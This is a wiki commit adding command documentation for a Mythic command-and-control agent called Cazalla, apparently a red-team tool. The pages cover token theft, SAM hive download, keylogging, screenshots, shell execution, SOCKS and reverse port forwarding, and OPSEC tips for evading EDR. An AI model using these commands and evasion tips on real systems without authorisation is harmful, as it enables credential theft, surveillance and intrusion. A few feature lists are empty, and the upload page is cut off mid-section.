wiki created

documentation-payload/Cazalla/commands/README.md

@@ -0,0 +1,50 @@
+# Cazalla Commands
+
+Complete documentation for all Cazalla agent commands, organized by category.
+
+## File System Commands
+
+- [`ls`](ls.md) - List directory contents
+- [`cd`](cd.md) - Change directory
+- [`pwd`](pwd.md) - Print working directory
+- [`cat`](cat.md) - Read file contents (with credential detection)
+- [`cp`](cp.md) - Copy files
+- [`mkdir`](mkdir.md) - Create directory
+- [`rm`](rm.md) - Delete file/directory
+- [`download`](download.md) - Download file from target
+- [`upload`](upload.md) - Upload file to target
+
+## Process Management Commands
+
+- [`ps`](ps.md) - List processes
+- [`kill`](kill.md) - Terminate process
+
+## Token Operations
+
+- [`list_tokens`](list_tokens.md) - Enumerate tokens
+- [`steal_token`](steal_token.md) - Steal process token
+- [`make_token`](make_token.md) - Create token from credentials
+- [`rev2self`](rev2self.md) - Revert to original token
+- [`whoami`](whoami.md) - Display current context
+
+## Network Tunneling
+
+- [`socks`](socks.md) - Start/stop SOCKS5 proxy
+- [`rpfwd`](rpfwd.md) - Start/stop reverse port forwarding
+
+## System Operations
+
+- [`shell`](shell.md) - Execute shell commands
+- [`screenshot`](screenshot.md) - Capture desktop screenshot
+- [`keylog_start`](keylog_start.md) - Start keylogger
+- [`keylog_stop`](keylog_stop.md) - Stop keylogger
+
+## Control Commands
+
+- [`sleep`](sleep.md) - Adjust beacon interval
+- [`exit`](exit.md) - Terminate agent
+
+---
+
+[Back to Cazalla Documentation](../../../README.md)
+

documentation-payload/Cazalla/commands/cat.md

@@ -0,0 +1,56 @@
+# cat - Read File Contents
+
+Read and display the contents of a file on the target system.
+
+## Description
+
+The `cat` command reads and displays the contents of a file on the target system. It automatically detects and extracts credentials from file contents including plaintext passwords, NTLM hashes, and domain credentials.
+
+## Syntax
+
+```
+cat <file_path>
+```
+
+## Parameters
+
+- `file_path` (required): Path to the file to read. Supports both absolute and relative paths.
+
+## Examples
+
+```
+cat C:\Users\Administrator\Desktop\notes.txt
+cat config.ini
+cat C:\Windows\System32\drivers\etc\hosts
+```
+
+## Features
+
+- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
+- Automatically detects and extracts credentials from file contents including:
+
+## Output
+
+```
+[cat] Reading file: C:\Users\Administrator\notes.txt
+Hello, this is a test file.
+
+[cat] Credentials detected:
+- Password: MyPassword123
+- Hash: aad3b435b51404ee:1234567890abcdef...
+```
+
+## OPSEC Considerations
+
+- File reads are logged by EDR/XDR solutions
+- Accessing sensitive files (System32, Program Files) may trigger alerts
+- Consider using `download` for large files instead of `cat`
+
+## Related
+
+[Credentials Support](../../../features.md#credentials-support)
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/cd.md

@@ -0,0 +1,46 @@
+# cd - Change Directory
+
+Change the current working directory for the agent.
+
+## Description
+
+The `cd` command changes the current working directory for the agent. The new directory is automatically tracked and displayed in the Mythic UI context tabs.
+
+## Syntax
+
+```
+cd <path>
+```
+
+## Parameters
+
+- `path` (required): Directory path to change to. Supports both absolute and relative paths.
+
+## Examples
+
+```
+cd C:\Users\Administrator
+cd ..
+cd Documents
+```
+
+## Features
+
+- The new directory is automatically tracked and displayed in the Mythic UI context tabs
+- Supports both absolute paths (e.g., `C:\Windows\System32`) and relative paths
+- The current directory is used by other file system commands when relative paths are provided
+
+## Output
+
+```
+Changed directory to: C:\Users\Administrator
+```
+
+## Related
+
+[Context Tracking](../../../features.md#context-tracking)
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/cp.md

@@ -0,0 +1,55 @@
+# cp - Copy File
+
+Copy a file from a source location to a destination path on the target system.
+
+## Description
+
+The `cp` command copies a file from a source location to a destination path on the target system. The destination file will be overwritten if it already exists. This command creates a 'File Write' artifact for tracking purposes.
+
+## Syntax
+
+```
+cp <source_path> <destination_path>
+```
+
+## Parameters
+
+- `source_path` (required): Path to the source file
+- `destination_path` (required): Path where the file will be copied to
+
+## Examples
+
+```
+cp C:\Users\file.txt C:\temp\backup.txt
+cp source.exe C:\Windows\Temp\malware.exe
+cp config.ini config.ini.bak
+```
+
+## Features
+
+- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
+- The destination file will be overwritten if it already exists
+- Creates a 'File Write' artifact for the destination file
+- Useful for creating backups, moving files, or preparing payloads in staging directories
+
+## Output
+
+```
+[cp] File copied: C:\Users\file.txt -> C:\temp\backup.txt
+```
+
+## OPSEC Considerations
+
+- File writes are logged by EDR/XDR solutions
+- Copying to sensitive locations (System32, Windows, Program Files) may trigger alerts
+- File write artifacts are automatically tracked
+
+## Related
+
+[Artifacts Support](../../../features.md#artifacts-support)
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1105 - Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)

documentation-payload/Cazalla/commands/download.md

@@ -0,0 +1,59 @@
+# download - Download File from Target
+
+Download a file from the target system to the Mythic server.
+
+## Description
+
+The `download` command downloads a file from the target system to the Mythic server. Files are transferred in 512KB chunks for efficient transmission. Supports files up to 2GB in size.
+
+## Syntax
+
+```
+download <file_path>
+```
+
+## Parameters
+
+- `file_path` (required): Path to the file to download. Supports both absolute and relative paths.
+
+## Examples
+
+```
+download C:\Users\Administrator\Desktop\important.txt
+download C:\Windows\System32\config\sam
+download report.pdf
+```
+
+## Features
+
+- Supports files up to 2GB in size
+- Files are transferred in 512KB chunks for efficient transmission
+- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
+- Compatible with Mythic File Browser for interactive file selection
+- Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems
+
+## Output
+
+```
+[download] Starting download: C:\Users\important.txt (1024000 bytes)
+[download] Chunk 1/2 downloaded: 512000 bytes
+[download] Chunk 2/2 downloaded: 512000 bytes
+[download] Download complete: C:\Users\important.txt
+```
+
+## OPSEC Considerations
+
+- File reads are logged by EDR/XDR solutions
+- Large downloads generate network traffic and may trigger alerts
+- Downloading sensitive files (SAM, config files) may trigger DLP systems
+- Consider using smaller chunk sizes or splitting large files
+
+## Related
+
+[File Downloads Support](../../../features.md#file-downloads-support)
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1105 - Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)

documentation-payload/Cazalla/commands/exit.md

@@ -0,0 +1,38 @@
+# exit - Terminate Agent
+
+Instruct the agent to exit and terminate.
+
+## Description
+
+The `exit` command instructs the agent to exit and terminate. The agent will perform cleanup operations and then terminate its process. This command is permanent - the agent will stop running and will not check in again.
+
+## Syntax
+
+```
+exit
+```
+
+## Examples
+
+```
+exit
+```
+
+## Features
+
+- The agent will perform cleanup operations and then terminate its process
+- This command is permanent - the agent will stop running and will not check in again
+- Use this command when you want to remove the agent from the target system or when operational requirements dictate agent termination
+- Compatible with Mythic's callback table exit functionality
+
+## Output
+
+```
+[exit] Terminating agent...
+[exit] Agent exited
+```
+
+---
+
+**Command Category:** Control  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/keylog_start.md

@@ -0,0 +1,53 @@
+# keylog_start - Start Keylogger
+
+Start a low-level keyboard logger that captures all keystrokes from the system.
+
+## Description
+
+The `keylog_start` command starts a low-level keyboard logger that captures all keystrokes from the system and streams them to Mythic in real-time. Uses Windows keyboard hooking mechanisms (SetWindowsHookEx) to intercept keyboard input at a low level. CRITICAL OPSEC RISK: Keyloggers are extremely detectable by EDR/XDR solutions.
+
+## Syntax
+
+```
+keylog_start
+```
+
+## Examples
+
+```
+keylog_start
+```
+
+## Features
+
+- Captures all keystrokes from the system and streams them to Mythic in real-time
+- Uses Windows keyboard hooking mechanisms (SetWindowsHookEx) to intercept keyboard input at a low level
+- CRITICAL OPSEC RISK: Keyloggers are extremely detectable by EDR/XDR solutions, anti-malware, and behavioral analysis engines
+- Detection is likely within minutes or hours
+- Always requires approval from a lead operator
+- Consider alternatives such as credential theft, browser credential extraction, or clipboard monitoring for better OPSEC
+
+## Output
+
+```
+[keylog_start] Starting keylogger...
+[keylog_start] Keyboard hook installed
+[keylog_start] Keylogger active
+```
+
+## OPSEC Considerations
+
+- **CRITICAL OPSEC RISK**: Extremely detectable
+- Detection is likely within minutes or hours
+- Always requires operator approval (OPSEC pre-check blocks execution)
+- Consider alternatives for better OPSEC
+
+## Related
+
+[OPSEC Checking](../../../opsec.md), [Keylogging Support](../../../features.md#keylogging-support)
+
+---
+
+**Command Category:** System Operations  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1056 - Input Capture](https://attack.mitre.org/techniques/T1056/)

documentation-payload/Cazalla/commands/keylog_stop.md

@@ -0,0 +1,42 @@
+# keylog_stop - Stop Keylogger
+
+Stop the active keyboard logger and remove the keyboard hooks.
+
+## Description
+
+The `keylog_stop` command stops the active keyboard logger and removes the keyboard hooks. This command safely terminates keylogging operations and cleans up the hooking mechanisms.
+
+## Syntax
+
+```
+keylog_stop
+```
+
+## Examples
+
+```
+keylog_stop
+```
+
+## Features
+
+- This command safely terminates keylogging operations and cleans up the hooking mechanisms
+- Use this command when keylogging is no longer needed to reduce detection risk and free system resources
+
+## Output
+
+```
+[keylog_stop] Stopping keylogger...
+[keylog_stop] Keyboard hook removed
+[keylog_stop] Keylogger stopped
+```
+
+## Related
+
+[Keylogging Support](../../../features.md#keylogging-support)
+
+---
+
+**Command Category:** System Operations  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1056 - Input Capture](https://attack.mitre.org/techniques/T1056/)

documentation-payload/Cazalla/commands/kill.md

@@ -0,0 +1,54 @@
+# kill - Terminate Process
+
+Terminate a process by its Process ID (PID).
+
+## Description
+
+The `kill` command terminates a process by its Process ID (PID). The process is immediately terminated using TerminateProcess API. WARNING: Critical system processes (PID 0, 4, 8) are blocked from termination.
+
+## Syntax
+
+```
+kill <pid>
+```
+
+## Parameters
+
+- `pid` (required): Process ID of the process to terminate.
+
+## Examples
+
+```
+kill 1234
+kill 5678
+```
+
+## Features
+
+- The process is immediately terminated using TerminateProcess API
+- Compatible with Mythic Process Browser for interactive process termination
+- Automatically removes the killed process from the Process Browser view
+- WARNING: Critical system processes (PID 0, 4, 8) are blocked from termination to prevent system instability
+- Creates a 'Process Termination' artifact for tracking
+
+## Output
+
+```
+[kill] Process terminated: explorer.exe (PID: 1234)
+```
+
+## OPSEC Considerations
+
+- Process termination is logged by EDR/XDR solutions
+- Terminating critical processes may trigger alerts
+- Process termination artifacts are automatically tracked
+
+## Related
+
+[Process Browser Integration](../../../features.md#process-browser-integration), [Artifacts Support](../../../features.md#artifacts-support)
+
+---
+
+**Command Category:** Process Management  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1489 - Service Stop](https://attack.mitre.org/techniques/T1489/)

documentation-payload/Cazalla/commands/list_tokens.md

@@ -0,0 +1,50 @@
+# list_tokens - Enumerate Tokens
+
+Enumerate and list all available security tokens from running processes on the target system.
+
+## Description
+
+The `list_tokens` command enumerates and lists all available security tokens from running processes on the target system. Shows detailed token information including user context, privileges, and groups for each process.
+
+## Syntax
+
+```
+list_tokens
+```
+
+## Examples
+
+```
+list_tokens
+```
+
+## Features
+
+- Shows detailed token information including user context, privileges, and groups for each process
+- Compatible with Mythic Process Browser for interactive token enumeration
+- Useful for reconnaissance to identify high-value tokens before attempting token theft
+- Lower detection risk than token theft operations, but token enumeration may still be logged by security tools
+
+## Output
+
+```
+PID     Process Name          User                    Domain           Privileges
+-----   -------------------   ----------------------  --------------   -------------------
+1234    lsass.exe             SYSTEM                  NT AUTHORITY      SeDebugPrivilege
+5678    explorer.exe          User                    DESKTOP-ABC      SeChangeNotifyPrivilege
+```
+
+## OPSEC Considerations
+
+- Token enumeration may be logged by security tools
+- Lower risk than token theft, but still detectable
+- Use for reconnaissance before attempting token theft
+
+## Related
+
+[Process Browser Integration](../../../features.md#process-browser-integration), [Token Support](../../../features.md#token-support)
+
+---
+
+**Command Category:** Token Operations  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/ls.md

@@ -0,0 +1,51 @@
+# ls - List Directory Contents
+
+List directory contents with detailed file information.
+
+## Description
+
+The `ls` command lists directory contents with detailed file information including type (File/Directory), size, modification date, and name. It supports wildcards and works seamlessly with Mythic's File Browser for interactive file management.
+
+## Syntax
+
+```
+ls [path]
+```
+
+## Parameters
+
+- `path` (optional): Directory path to list. If omitted, lists current working directory.
+
+## Examples
+
+```
+ls
+ls C:\Users
+ls C:\Windows\*.exe
+```
+
+## Features
+
+- Supports wildcards (e.g., `*.exe`, `*.txt`)
+- Displays file type (File/Directory), size, modification date, and name
+- Compatible with Mythic File Browser for interactive file management
+- Relative paths are resolved using current working directory
+
+## Output
+
+```
+Type      Size        Modified              Name
+------    ----------  -------------------   --------------------
+File      1024       2024-01-15 10:30:00    file.txt
+Directory 0          2024-01-15 09:00:00   Documents
+```
+
+## Related
+
+[File Browser Integration](../../../features.md#file-browser-integration)
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1083 - File and Directory Discovery](https://attack.mitre.org/techniques/T1083/)

documentation-payload/Cazalla/commands/make_token.md

@@ -0,0 +1,61 @@
+# make_token - Create Token from Credentials
+
+Create a new security token using plaintext credentials and impersonate it.
+
+## Description
+
+The `make_token` command creates a new security token using plaintext credentials and impersonates it. Authenticates with the provided domain (or local machine if empty), username, and password using LogonUser API.
+
+## Syntax
+
+```
+make_token <domain> <username> <password> [logon_type]
+```
+
+## Parameters
+
+- `domain` (required): Domain name (or empty string for local machine)
+- `username` (required): Username to authenticate as
+- `password` (required): Password for authentication
+- `logon_type` (optional): Logon type (default: 9 - NewCredentials)
+
+## Examples
+
+```
+make_token "" Administrator P@ssw0rd123
+make_token DOMAIN user01 MyPassword
+make_token WORKGROUP localuser Secret123 9
+```
+
+## Features
+
+- Authenticates with the provided domain (or local machine if empty), username, and password using LogonUser API
+- The logon_type parameter (default: 9 - NewCredentials) determines the authentication type
+- The impersonation context is automatically tracked and displayed in the Mythic UI
+- Less detectable than `steal_token` as it doesn't require accessing LSASS memory, but may still generate authentication logs
+- Use `rev2self` to revert to the original token
+
+## Output
+
+```
+[make_token] Creating token for: DOMAIN\User01
+[make_token] Authentication successful
+[make_token] Impersonating user: DOMAIN\User01
+```
+
+## OPSEC Considerations
+
+- Authentication events are logged by Windows Event Log
+- Less detectable than token theft, but still generates logs
+- Authentication failures may trigger alerts
+- Use `rev2self` after completing operations to reduce detection risk
+
+## Related
+
+[Token Support](../../../features.md#token-support), [Context Tracking](../../../features.md#context-tracking)
+
+---
+
+**Command Category:** Token Operations  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1134 - Access Token Manipulation](https://attack.mitre.org/techniques/T1134/)

documentation-payload/Cazalla/commands/mkdir.md

@@ -0,0 +1,42 @@
+# mkdir - Create Directory
+
+Create a new directory on the target system.
+
+## Description
+
+The `mkdir` command creates a new directory on the target system. It creates parent directories if they don't exist.
+
+## Syntax
+
+```
+mkdir <path>
+```
+
+## Parameters
+
+- `path` (required): Directory path to create. Supports both absolute and relative paths.
+
+## Examples
+
+```
+mkdir C:\temp\new_folder
+mkdir staging
+mkdir C:\Users\Administrator\Documents\Project
+```
+
+## Features
+
+- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
+- Creates parent directories if they don't exist
+- Useful for creating staging directories, temporary folders, or organizing files during post-exploitation activities
+
+## Output
+
+```
+[mkdir] Directory created: C:\temp\new_folder
+```
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/ps.md

@@ -0,0 +1,42 @@
+# ps - List Processes
+
+List all running processes on the target system.
+
+## Description
+
+The `ps` command lists all running processes on the target system. Displays detailed process information including PID, process name, parent PID, architecture, username, and session ID. Automatically updates the Mythic Process Browser.
+
+## Syntax
+
+```
+ps
+```
+
+## Examples
+
+```
+ps
+```
+
+## Features
+
+- Displays detailed process information including:
+
+## Output
+
+```
+PID     Process Name          PPID    Arch    User                    Session
+-----   -------------------   -----   -----   ----------------------  -------
+1234    explorer.exe          1230    x64     DESKTOP-ABC\User        1
+5678    chrome.exe            1234    x64     DESKTOP-ABC\User        1
+```
+
+## Related
+
+[Process Browser Integration](../../../features.md#process-browser-integration)
+
+---
+
+**Command Category:** Process Management  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1057 - Process Discovery](https://attack.mitre.org/techniques/T1057/)

documentation-payload/Cazalla/commands/pwd.md

@@ -0,0 +1,40 @@
+# pwd - Print Working Directory
+
+Display the current working directory of the agent.
+
+## Description
+
+The `pwd` command displays the current working directory of the agent. This directory is automatically tracked and displayed in the Mythic UI context tabs.
+
+## Syntax
+
+```
+pwd
+```
+
+## Examples
+
+```
+pwd
+```
+
+## Features
+
+- Shows the absolute path that the agent is currently using as its working directory
+- This directory is automatically tracked and displayed in the Mythic UI context tabs
+- Useful for verifying the current location before executing file system operations
+
+## Output
+
+```
+C:\Users\Administrator\Documents
+```
+
+## Related
+
+[Context Tracking](../../../features.md#context-tracking)
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/rev2self.md

@@ -0,0 +1,41 @@
+# rev2self - Revert Token Impersonation
+
+Revert token impersonation back to the original process token.
+
+## Description
+
+The `rev2self` command reverts token impersonation back to the original process token. This command stops impersonating any stolen or created token and returns to the agent's original security context.
+
+## Syntax
+
+```
+rev2self
+```
+
+## Examples
+
+```
+rev2self
+```
+
+## Features
+
+- This command stops impersonating any stolen or created token and returns to the agent's original security context
+- The impersonation context in the Mythic UI is automatically cleared
+- Use this command after completing operations that required elevated privileges to return to a less-privileged context and reduce detection risk
+
+## Output
+
+```
+[rev2self] Reverted to original token
+[rev2self] Current user: DESKTOP-ABC\OriginalUser
+```
+
+## Related
+
+[Token Support](../../../features.md#token-support), [Context Tracking](../../../features.md#context-tracking)
+
+---
+
+**Command Category:** Token Operations  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/rm.md

@@ -0,0 +1,49 @@
+# rm - Delete File or Directory
+
+Delete a file or directory from the target system.
+
+## Description
+
+The `rm` command deletes a file or directory from the target system. WARNING: Deletion of critical system files or directories (System32, Windows, Program Files, etc.) will be blocked for safety.
+
+## Syntax
+
+```
+rm <path>
+```
+
+## Parameters
+
+- `path` (required): File or directory path to delete. Supports both absolute and relative paths.
+
+## Examples
+
+```
+rm C:\temp\file.txt
+rm C:\temp\old_folder
+rm backup.log
+```
+
+## Features
+
+- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
+- Can delete individual files or entire directories
+- WARNING: Deletion of critical system files or directories (System32, Windows, Program Files, etc.) will be blocked for safety
+- Use with caution as deleted files cannot be recovered through this command
+
+## Output
+
+```
+[rm] File deleted: C:\temp\file.txt
+```
+
+## OPSEC Considerations
+
+- File deletions are logged by EDR/XDR solutions
+- Deleting system files may trigger alerts
+- Consider the operational impact before deleting files
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/rpfwd.md

@@ -0,0 +1,61 @@
+# rpfwd - Reverse Port Forwarding
+
+Start or stop reverse port forwarding (RPFWD).
+
+## Description
+
+The `rpfwd` command starts or stops reverse port forwarding (RPFWD). When started, the agent listens on a local port on the target system. Connections to this local port are forwarded through the agent to Mythic, which then connects to a remote destination.
+
+## Syntax
+
+```
+rpfwd {"action":"start","port":8080,"remote_host":"127.0.0.1","remote_port":80}
+rpfwd {"action":"stop","port":8080}
+```
+
+## Parameters
+
+- `action` (required): Either `"start"` or `"stop"`
+- `port` (required for start): Local port on the agent to listen on (default: 8080)
+- `remote_host` (required for start): Remote host to forward connections to
+- `remote_port` (required for start): Remote port to forward connections to
+
+## Examples
+
+```
+rpfwd {"action":"start","port":8080,"remote_host":"192.168.1.100","remote_port":80}
+rpfwd {"action":"start","port":3306,"remote_host":"10.0.0.50","remote_port":3306}
+rpfwd {"action":"stop","port":8080}
+```
+
+## Features
+
+- When started, the agent listens on a local port on the target system
+- Connections to this local port are forwarded through the agent to Mythic, which then connects to a remote destination (remote_host:remote_port)
+- Default local port: 8080
+- Useful for accessing services on the target network that are not directly reachable from Mythic (e.g., internal services, databases, management interfaces)
+- WARNING: Reverse port forwarding creates persistent network connections and may be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring
+- Avoid using privileged ports (<1024) which require elevated privileges
+
+## Output
+
+```
+[rpfwd] Reverse port forwarding started on port 8080
+[rpfwd] Forwarding connections to: 192.168.1.100:80
+```
+
+## OPSEC Considerations
+
+- Reverse port forwarding creates persistent network connections
+- May be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring
+- Avoid using privileged ports (<1024) which require elevated privileges
+- Consider the operational impact before starting
+
+## Related
+
+[Reverse Port Forwarding Support](../../../features.md#reverse-port-forwarding-rpfwd-support), [Usage Examples](../../../examples.md#reverse-port-forwarding-example)
+
+---
+
+**Command Category:** Network Tunneling  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/screenshot.md

@@ -0,0 +1,53 @@
+# screenshot - Capture Screenshot
+
+Capture a screenshot of the primary desktop display and upload it to the Mythic server.
+
+## Description
+
+The `screenshot` command captures a screenshot of the primary desktop display and uploads it to the Mythic server. Uses Windows GDI API (BitBlt) to capture the screen content. Requires an active interactive desktop session.
+
+## Syntax
+
+```
+screenshot
+```
+
+## Examples
+
+```
+screenshot
+```
+
+## Features
+
+- Uses Windows GDI API (BitBlt) to capture the screen content
+- The screenshot is automatically uploaded as a file to Mythic for viewing
+- Requires an active interactive desktop session
+- May be detected by screen capture detection mechanisms, behavioral analysis, and data loss prevention (DLP) systems
+- Large screenshots may trigger network monitoring alerts
+
+## Output
+
+```
+[screenshot] Capturing screenshot...
+[screenshot] Screenshot captured: 1920x1080 pixels
+[screenshot] Uploading to Mythic...
+[screenshot] Screenshot uploaded successfully
+```
+
+## OPSEC Considerations
+
+- Screen capture is detected by many security tools
+- May trigger behavioral analysis alerts
+- Large screenshots generate network traffic
+- Requires an active interactive desktop session
+
+## Related
+
+[Usage Examples](../../../examples.md#screenshot-example)
+
+---
+
+**Command Category:** System Operations  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1113 - Screen Capture](https://attack.mitre.org/techniques/T1113/)

documentation-payload/Cazalla/commands/shell.md

@@ -0,0 +1,60 @@
+# shell - Execute Shell Command
+
+Execute arbitrary shell commands on the target system by spawning cmd.exe.
+
+## Description
+
+The `shell` command executes arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions.
+
+## Syntax
+
+```
+shell <command>
+```
+
+## Parameters
+
+- `command` (required): Shell command to execute.
+
+## Examples
+
+```
+shell whoami
+shell dir C:\Users
+shell ipconfig /all
+```
+
+## Features
+
+- The command is executed in a non-interactive shell and the output is captured and returned
+- HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions
+- Command execution and command-line arguments are logged by security tools
+- Consider using built-in Cazalla commands (`ps`, `ls`, `cat`, etc.) instead when possible, as they provide better OPSEC
+- Always requires approval from another operator before execution
+
+## Output
+
+```
+Microsoft Windows [Version 10.0.19041.1234]
+(c) 2020 Microsoft Corporation. All rights reserved.
+
+C:\Users\Administrator>whoami
+desktop-abc\administrator
+```
+
+## OPSEC Considerations
+
+- **HIGH OPSEC RISK**: Spawns cmd.exe which is heavily monitored
+- Command execution and arguments are logged by EDR/XDR solutions
+- Always requires operator approval (OPSEC pre-check blocks execution)
+- Consider using built-in Cazalla commands instead when possible
+
+## Related
+
+[OPSEC Checking](../../../opsec.md)
+
+---
+
+**Command Category:** System Operations  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1059 - Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/)

documentation-payload/Cazalla/commands/sleep.md

@@ -0,0 +1,46 @@
+# sleep - Adjust Beacon Interval
+
+Change the agent's sleep interval (check-in frequency) and optional jitter percentage.
+
+## Description
+
+The `sleep` command changes the agent's sleep interval (check-in frequency) and optional jitter percentage. The sleep interval determines how long the agent waits between check-ins with the Mythic server. Jitter adds random variation to the sleep interval to avoid predictable timing patterns.
+
+## Syntax
+
+```
+sleep {"seconds":30,"jitter":10}
+```
+
+## Parameters
+
+- `seconds` (required): Sleep interval in seconds
+- `jitter` (optional): Jitter percentage (0-100)
+
+## Examples
+
+```
+sleep {"seconds":30,"jitter":10}
+sleep {"seconds":60}
+sleep {"seconds":10,"jitter":30}
+```
+
+## Features
+
+- The sleep interval determines how long the agent waits between check-ins with the Mythic server
+- Jitter adds random variation to the sleep interval to avoid predictable timing patterns
+- Lower sleep values provide more responsive interaction but increase network activity and detection risk
+- Higher sleep values reduce detection risk but make the agent less responsive
+- Jitter helps evade behavioral detection based on timing analysis
+
+## Output
+
+```
+[sleep] Sleep interval set to: 30 seconds
+[sleep] Jitter set to: 10%
+```
+
+---
+
+**Command Category:** Control  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/socks.md

@@ -0,0 +1,57 @@
+# socks - SOCKS5 Proxy
+
+Start or stop a SOCKS5 proxy server on the Mythic server.
+
+## Description
+
+The `socks` command starts or stops a SOCKS5 proxy server on the Mythic server. When started, the SOCKS proxy allows routing network traffic through the agent to access internal network resources. WARNING: SOCKS proxies generate continuous network traffic and may be detected by network monitoring tools.
+
+## Syntax
+
+```
+socks {"action":"start","port":7002}
+socks {"action":"stop","port":7002}
+```
+
+## Parameters
+
+- `action` (required): Either `"start"` or `"stop"`
+- `port` (optional): Port number for the SOCKS proxy (default: 7002)
+
+## Examples
+
+```
+socks {"action":"start","port":7002}
+socks {"action":"stop","port":7002}
+```
+
+## Features
+
+- When started, the SOCKS proxy allows routing network traffic through the agent to access internal network resources
+- The default port is 7002
+- The proxy runs on the Mythic server and uses the agent as a tunnel for network connections
+- WARNING: SOCKS proxies generate continuous network traffic and may be detected by network monitoring tools, firewall logging, EDR/XDR network monitoring, and network flow analysis
+- Use non-standard ports and be aware of high bandwidth usage
+
+## Output
+
+```
+[socks] SOCKS proxy started on port 7002
+```
+
+## OPSEC Considerations
+
+- SOCKS proxies generate continuous network traffic
+- May be detected by network monitoring tools, firewall logging, EDR/XDR network monitoring, and network flow analysis
+- Use non-standard ports
+- Be aware of high bandwidth usage
+- Consider the operational impact before starting
+
+## Related
+
+[SOCKS Proxy Support](../../../features.md#socks-proxy-support), [Usage Examples](../../../examples.md#socks-proxy-example)
+
+---
+
+**Command Category:** Network Tunneling  
+**Requires Admin:** No  

documentation-payload/Cazalla/commands/steal_token.md

@@ -0,0 +1,58 @@
+# steal_token - Steal Process Token
+
+Steal and impersonate the security token from a target process.
+
+## Description
+
+The `steal_token` command steals and impersonates the security token from a target process. Opens the target process, extracts its token, and impersonates it to assume the security context (user, privileges, groups) of that process. CRITICAL OPSEC RISK: Token theft is heavily monitored by EDR/XDR solutions.
+
+## Syntax
+
+```
+steal_token <pid>
+```
+
+## Parameters
+
+- `pid` (required): Process ID of the process to steal the token from.
+
+## Examples
+
+```
+steal_token 1234
+steal_token 5678
+```
+
+## Features
+
+- Opens the target process, extracts its token, and impersonates it to assume the security context (user, privileges, groups) of that process
+- Compatible with Mythic Process Browser for interactive token theft
+- The impersonation context is automatically tracked and displayed in the Mythic UI
+- CRITICAL OPSEC RISK: Token theft is heavily monitored by EDR/XDR solutions, especially when targeting LSASS or other critical processes
+- Always requires approval from another operator
+- Prefer `make_token` for domain credentials when possible
+
+## Output
+
+```
+[steal_token] Token stolen from process: explorer.exe (PID: 1234)
+[steal_token] Impersonating user: DESKTOP-ABC\User
+```
+
+## OPSEC Considerations
+
+- **CRITICAL OPSEC RISK**: Token theft is heavily monitored
+- Targeting LSASS or critical processes triggers high-priority alerts
+- Always requires operator approval (OPSEC pre-check blocks execution)
+- Process access is logged by EDR/XDR solutions
+- Consider using `make_token` instead when you have credentials
+
+## Related
+
+[OPSEC Checking](../../../opsec.md), [Token Support](../../../features.md#token-support), [Process Browser Integration](../../../features.md#process-browser-integration)
+
+---
+
+**Command Category:** Token Operations  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1134 - Access Token Manipulation](https://attack.mitre.org/techniques/T1134/)

documentation-payload/Cazalla/commands/upload.md

@@ -0,0 +1,61 @@
+# upload - Upload File to Target
+
+Upload a file from the Mythic server to the target system.
+
+## Description
+
+The `upload` command uploads a file from the Mythic server to the target system. Requires a file_id (obtained from Mythic's file browser) and a destination path where the file will be written.
+
+## Syntax
+
+```
+upload <file_id> <destination_path>
+```
+
+## Parameters
+
+- `file_id` (required): File ID from Mythic's file browser. Obtained by uploading a file to Mythic first.
+- `destination_path` (required): Destination path where the file will be written. Supports both absolute and relative paths.
+
+## Examples
+
+```
+upload abc123-def456-ghi789 C:\Users\Administrator\Desktop\payload.exe
+upload xyz789 C:\Windows\Temp\stager.dll
+upload file123 C:\temp\data.txt
+```
+
+## Features
+
+- Requires a file_id (obtained from Mythic's file browser) and a destination path where the file will be written
+- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
+- Creates a 'File Write' artifact for tracking
+- Uploads to sensitive locations (System32, Windows, Program Files) or with suspicious extensions (.exe, .dll, .ps1, .bat, .vbs) may trigger detection by security tools
+
+## Output
+
+```
+[upload] Starting upload: C:\Users\Administrator\Desktop\payload.exe (2048000 bytes)
+[upload] Chunk 1/4 written: 512000 bytes
+[upload] Chunk 2/4 written: 512000 bytes
+[upload] Chunk 3/4 written: 512000 bytes
+[upload] Chunk 4/4 written: 512000 bytes
+[upload] Upload complete: C:\Users\Administrator\Desktop\payload.exe
+```
+
+## OPSEC Considerations
+
+- File writes are logged by EDR/XDR solutions
